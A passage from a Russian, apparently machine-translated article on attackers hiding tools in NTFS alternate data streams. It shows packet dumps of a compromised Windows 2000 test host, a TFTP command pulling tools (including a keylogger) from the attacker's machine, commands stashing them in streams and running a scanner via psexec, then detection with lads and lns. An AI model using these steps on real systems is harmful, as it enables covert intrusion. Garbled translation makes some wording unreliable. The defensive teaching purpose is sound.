0x0040 3020 4d69 6372 6f73 6f66 7420 436f 7270 0. Майкрософт. Корп
0x0050 2e0d 0a .
10:38:50.072162 IP (tos 0x0, ttl 128, id 88, смещение 0, флаги [DF],
длина: 58) 192.168.1.101.1030 >192.168.1.102.4321: P [tcp sum ok]
3530254038:3530254056
подтверждение 758421802 выигрыш 17520
0x0000 4500 003a 0058 4000 8006 764a c0a8 0165 E.:X@.vJ.e
0x0010 c0a8 0166 0406 10e1 d26b 66d6 2d34 992a .f.kf.-4.*
0x0020 5018 4470 b1b4 0000 433a 5c57 494e 4e54 P. Дп. C:\WINNT
0x0030 5c73 7973 7465 6d33 323e \system32>

Теперь по протоколу TFTP начинается передача файлов от атакующего на скомпрометированный компьютер. Вот команда, которая была передана командному интерпретатору, предоставляющая жертве файл загрузки ipeye.exe.

 tftp -i 192.168.1.102 ПОЛУЧИТЬ ipeye.exe 

Загрузка файлов будет продолжаться до тех пор, пока не будет рассмотрено 4 файла: ipeye.exe, psexec.exe, pslist.exe и klogger.exe. Для краткости я не стал приводить последовательную передачу пакетов. Ниже приводится содержимое каталогов, которые могут быть загружены на компьютер после завершения передачи. Имя этой директории – c:\compaq\.

 05.12.2004 09:30 32 768 ipeye.exe 
05.12.2004 09:32a 32 768 klogger.exe.
05.12.2004 09:31a 143 360 psexec.exe
05.12.2004 09:31a 86 016 pslist.exe
04.12.2004 14:12 SP21263
05.12.2004 09:01a 13 test_file
05.12.2004 09:02a 13 test_file2
05.12.2004 09:02a 12 test_file3
05.12.2004 09:03a 14 test_file4
05.12.2004 09:32a 0 TFTP780

Ниже мы видим, как атакующий файл «tftp780» из этой директории. Это доказывает возможность удаления файлов.

 10:45:56.901024 IP (tos 0x0, ttl 64, id 39855, смещение 0, флаги [DF], 
длина: 55) 192.168.1.102.4321 >192.168.1.101.1030: P [tcp sum ok]
758422044:758422059
подтверждение 3530258111 победа 10720
0x0000 4500 0037 9baf 4000 4006 1af6 c0a8 0166 E.7.@.@.f
0x0010 c0a8 0165 10e1 0406 2d34 9a1c d26b 76bf .e.-4.kv.
0x0020 5018 29e0 a342 0000 6465 6c20 2f46 2074 п.). Б.дел./Ф.т
0x0030 6674 7037 3830 0a ftp780.

Теперь атакующий содержит исполняемый файл ipeye.exe в альтернативном потоке данных, ассоциированный с Существующим файлом test_file. Команда, занимающая эти действия, имеет следующий синтаксис:

 введите ipeye.exe >test_file:ipeye.exe 

Процесс закрытия оставшихся трех файлов, загруженных на скомпрометированный хост, завершен. Они скопированы в альтернативные потоки данных Существующего файла на компьютер-жертву. Точно также вы можете найти файл в каталоге потоков, например C:\.

:/>  Как перевести весь текст с английского на русский комбинация

Потом мы запустим psexec.exe на компьютер-жертву, который, в свою очередь, запустил сканер ipeye.exe, поступающий в альтернативном потоке данных c:\Compaq\test_file:ipeye.exe. Заметьте, что я обычно использую psexec.exe, который происходит не в потоке, а в самой директории.
Существует много вариантов запуска программ на Win32-компьютере. Один из вариантов процесса – использование команды «старт», которая является естественной, не оставляющей следствия на машине жертвы. Некоторые хакеры вместо этого для запуска программы могут использовать bat-файл или другие средства. алгоритм работы хакеров не всегда может быть известен, и мы должны помнить – не все хакеры получили. Подозрительные действия многих хакеров можно изучить, используя honeynet.
Причина, по которой для этой статьи был выбран psexec.exe, очень проста – набор свободно распространяемых утилит, нефтегазовых Sysinternals, часто используемых хакерами. Поэтому для придания реализма статья я решил использовать именно их. Итак, продвинемся дальше выполним следующую команду:

 psexec.exe c:\compaq\test_file:ipeye.exe 192.168.1.100 -syn -p 139 

Что делать с проблемой злонамеренного использования альтернативных потоков данных? Есть несколько неплохих утилит, написанных талантливыми разработчиками Frank Heyne и Arne Vidstrom – lads и lns соответственно, – которые позволяют обнаруживать альтернативные потоки данных. Ниже показан вывод каждой из этих утилит, запущенных на нашей системе после компрометации.

 
LADS - Freeware version 4.00
(C) Copyright 1998-2004 Frank Heyne Software ( http://www.heysoft.de)
This program lists files with alternate data streams (ADS)
Use LADS on your own risk!
Scanning directory C:\compaq
size ADS in file
---------- ---------------------------------
32768 C:\compaq\test_file:ipeye.exe
32768 C:\compaq\test_file2:klogger.exe
143360 C:\compaq\test_file3:psexec.exe
86016 C:\compaq\test_file4:pslist.exe
294912 bytes in 4 ADS listed
 
lns 1.0 - (c) 2002, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
- http://ntsecurity.nu/toolbox/lns/
c:\compaq\test_file
- Alternative data stream [:ipeye.exe:$DATA]
c:\compaq\test_file2
- Alternative data stream [:klogger.exe:$DATA]
c:\compaq\test_file3
- Alternative data stream [:psexec.exe:$DATA]
c:\compaq\test_file4
- Alternative data stream [:pslist.exe:$DATA]

Как мы видим, вышеупомянутые утилиты успешно обнаружили созданные нами альтернативные потоки данных. Таким образом, используя свободно распространяемые утилиты, вы можете легко найти альтернативные потоки данных на вашем компьютере. Настоятельно рекомендуется производить такой поиск регулярно. В то время, как некоторые производители антивирусов только начинают обращать внимание на альтернативные потоки данных, вы можете свободно использовать утилиту, созданную специально для обнаружения этих потоков.

Альтернативные потоки данных в Windows NTFS являются реальной угрозой, которая, однако, может быть успешно минимизирована путем использования качественных средств защиты. Кроме этого, как было показано, обнаружить и идентифицировать альтернативные потоки данных можно с помощью двух свободно распространяемых утилит, что позволяет вовремя уведомить администратора об угрозе и дать ему время для адекватного реагирования. Имейте в виду, что в нашем случае использовалась тестовая машина с не обновленной версией Windows 2000, поэтому для реализации вышеописанного процесса на ОС с установленными пакетами обновлений нужно было бы использовать другой способ проникновения на компьютер, после успешного осуществления которого можно было бы создавать альтернативные потоки данных.

Дон Паркер, перевод Владимира Куксенка.